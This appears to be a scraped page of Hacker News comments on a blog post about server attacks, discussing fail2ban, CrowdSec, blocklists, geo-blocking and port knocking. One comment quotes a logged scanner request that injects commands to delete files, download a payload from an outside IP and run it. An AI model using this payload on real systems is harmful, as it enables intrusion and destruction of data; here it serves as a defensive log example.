Live data from Hacker News

Who's Attacking My Server?

bastian.rieck.me

211–220 of 231 posts

Re: Who's Attacking My Server?

#211
post #30

Also with https://www.greynoise.io/ api you can determine if these IPs are scanning the internet or targeting you specifically.

Same thing is possible using https://app.crowdsec.net/ (just create a free user account and use the search feature) - and if you install the accompanying agent, those bad actors already known will be blocked automatically (just as those that attack you will be shared to all other users). This is collaboration that makes sense!

Re: Who's Attacking My Server?

#212

This is a good opportunity to recommend nft blackhole [1]. Automatically block countries by CIDR blocks and known bad actor IPs. Auto-updates these lists and adds them to your firewall. It's a 5 minute install and maintenance free afterwards. Not perfect, but reduces attack surface and log spam. [1] https://github.com/tomasz-c/nft-blackhole

How about using a tool like https://crowdsec.net/ that collects (basic, anonymious) information from users on the attacks they see, vets it and shares it back to all users via blocklists? Currently around 800k signals are collected and there's around 19k vetted bad ips in the blocklist. Sounds more reliable to me.

Re: Who's Attacking My Server?

#213

I used SSHGuard in the past which can actually cover a lot more services than just SSH. I imagine this sort of daemon is useful when you have external customers. It also has a touchy behaviour which gradually increases the timeout until it permanently locks out misbehaving clients. Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from…

https://crowdsec.net/ can also do something like that, only more advanced in the attacks it detects and because it's sharing bad ips from users to everyone else. I love that users in this way are watching each other's back.

Re: Who's Attacking My Server?

#214

I see these articles a lot, and always wonder why people go it alone. Can anyone link to a discussion about a distributed community run firewall? Does such a thing exist? If so, please comment.

I don't know exaxtly what you mean by a distributed community run firewall but https://crowdsec.net/ collects information (anonymously) on the attacks users see and shares it with all other users after vetting them. So in this way the community helps itself (or each other, if you will). Currently around 800k signals are collected daily and around 19k ips are shared back to users as blocklists.

Re: Who's Attacking My Server?

#215

I used SSHGuard in the past which can actually cover a lot more services than just SSH. I imagine this sort of daemon is useful when you have external customers. It also has a touchy behaviour which gradually increases the timeout until it permanently locks out misbehaving clients. Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from…

https://crowdsec.net/ can also do something like that, only more advanced in the attacks it detects and because it's sharing bad ips from users to everyone else. I love that users in this way are watching each other's back.

Nice tool, thanks.

Re: Who's Attacking My Server?

#216
post #23
post #2

Geo fence them. There is no ROI to providing value to Russia or their partners. They only serve as launchpads for cyber attacks and recon anyway. Chances are any organic Russian would be forbidden from directly viewing your page anyway, so it's literally all bots. Organic Russians come from proxys and VPNs. Russia doesn't reciprocate knowledge or technology or philosophy or anything with value. Primary Russian digita…

>Organic Russians come from proxys and VPNs. [citation needed] - I have Russian friends and they generally don't use proxies or VPNs.

With a recent Instagram block I assume you will see much more ordinary people using VPNs.

Re: Who's Attacking My Server?

#217

I use fail2ban on a server that is listening on a non-standard port. I monitor the bans on a daily basis. The IPs come from all over the world but when China shut down from Covid the login attempts just _stopped_. Like, the silence was deafening, like I thought the server was compromised and logging disabled. It was spooky as hell, but as things came back to something resembling normal, the background radiation start…

I do something similar with firehol lists and iptables/ipfw scripts and it cut my auth log spam down to almost nothing - single digit auth attempts per day per server now usually. My first pass of blocking .cn network space on its own cut my log spam by probably 90% (thousands of attempts per day down to dozens).

Re: Who's Attacking My Server?

#218

Earlier quoted context omitted.

The folks at OpenBSD Misc do not recommend port knocking. IIRC one of the reasons stated was a possibility of getting locked out of your own server. I tried looking up the relevant thread, but am on the phone.

Linux's firewall can do port knocking entirely in the kernel: https://wiki.nftables.org/wiki-nftables/index.php/Port_knock... That script gets compiled into BPF and uploaded into the kernel once, at boot/ifup time. All the memory is preallocated. Userspace can be dead/hung/OOM and you can be sure that at least the port knocking won't be why you got locked out.

Thank you. One learns something new everyday. And I feel humbled by most comments I read here.

I did look up OpenBSD pf again, and it too does port knocking in the kernel. My information was dated (left the misc mailing list at least 5 years ago).

Re: Who's Attacking My Server?

#219
post #75

Earlier quoted context omitted.

> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…

Fail2ban is decent indeed. But consider https://crowdsec.net/ instead if you want a tool that can detect pretty advanced L7 attacks, mitigate bad traffic using captcha and use crowd sourced threat intelligence to block bad guys in advance

Except for your one comment 55 days ago, every other comment you've ever posted to HN has been (within about hour of each other, about six hours ago, and is) just spamming this bullshit.

(And that one other comment is a little shady as well.)

Give it up already.

Goodbye!

Re: Who's Attacking My Server?

#220

Earlier quoted context omitted.

Can you really call it a public service if its not accessible to the public? Maybe a "Americas/Europe"-only service, but then it would sound questionable...

> Can you really call it a public service if its not accessible to the public? Maybe a "Americas/Europe"-only service, but then it would sound questionable... The Seattle Public Library is a public service despite not allowing residents of Guangzhou to borrow books.

That is false. They can apply for a visitor card - which has a $25 fee.

In any case, physical goods and services are not analogous to digital goods and services. Or are you redoing the the piracy-is-stealing argument??

Post reply on HN